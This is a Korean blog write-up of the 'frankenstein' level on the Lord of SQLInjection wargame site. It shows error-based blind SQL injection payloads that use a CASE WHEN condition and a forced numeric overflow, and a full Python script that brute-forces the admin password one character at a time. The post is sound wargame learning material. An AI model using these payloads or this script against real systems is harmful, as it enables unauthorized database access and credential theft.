Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 frankenstein문제에 대해 다루겠다.


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

frankenstein

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), union을 필터링하고 있다는 것과 에러가 발생하면 탈출한다는 사실을 알 수 있다.

또한 pw의 값을 알아야 문제를 해결할 수 있는 것으로 보인다.

## 문제 풀이 :

error 출력 및 case문을 이용해서 공격을 시도해보겠다. 또한 ()괄호가 필터링 되어 있으므로 비밀번호의 길이를 구하지 않고 바로 비밀번호를 구하도록 하겠다.

### 사용할 공격문 : pw=1' or id='admin' and case when pw like 'b%25' then 1 else 9e307*9e307 end%23

### 실행 결과 :

1차 시도

mysql가 인식할 수 있는 가장 큰 값이 9e307이므로 9e307*2를 넣어서 에러를 출력하게 만든다. 즉 pw의 값이 b로 시작하는 것이면 참, 아니라면 에러를 출력한다. 현재 에러를 출력한 것으로 보아 pw의 값이 b로 시작하지 않다는 사실을 추출해낼 수 있다.

 

실제 테스트해본 결과, pw의 첫 번째 값이 0이므로 0로 다시 공격을 시도해보겠다.

### 사용할 공격문 : pw=1' or id='admin' and case when pw like '0%25' then 1 else 9e307*9e307 end%23

### 실행 결과 :

pw[0] = '0'

화면이 정상적으로 출력된 것을 확인할 수 있다. 즉, pw의 첫 번째 값이 "0"인 것이다.

 

그러나 실제 값의 경우 길이가 엄청 클 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 :

import requests

url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값

chs = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~"
# current_pw = ""  # 비밀번호 길이 초기화
pw = ""
end = False
for i in range(1, 100):
    if (end == True):
        print("\033[32m" + f"[+] Final Password : {pw}")
        break
    end = True
    for ch in chs:
        query = f"1' or id='admin' and case when pw like '{pw}{ch}%' then 1 else 9e307*9e307 end#"
        params = {'pw': query}
        response = requests.get(url, params=params, cookies=cookies)
        if "<hr><br>error" not in response.text:
            pw += ch
            print("\033[93m" + f"[-] Round : {i:2} | Password : {pw}")
            end = False
            break

### 실행 결과 : 

실행 결과 (비밀번호)

### 최종 공격문 : pw=0dc4efbb

### 실행 결과 :

공격 성공

## 추가 해석 :

쿼리문 : pw=1' or id='admin' and case when pw like '0%25' then 1 else 9e307*9e307 end%23

case 문은 다음과 같은 구조를 가지고 있다.

case when [조건] then [참] else [거짓] end

해당 쿼리문은 pw가 0로 시작하는 값이면 1을 실행하고, 아니면 거짓을 실행한다는 의미다.

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!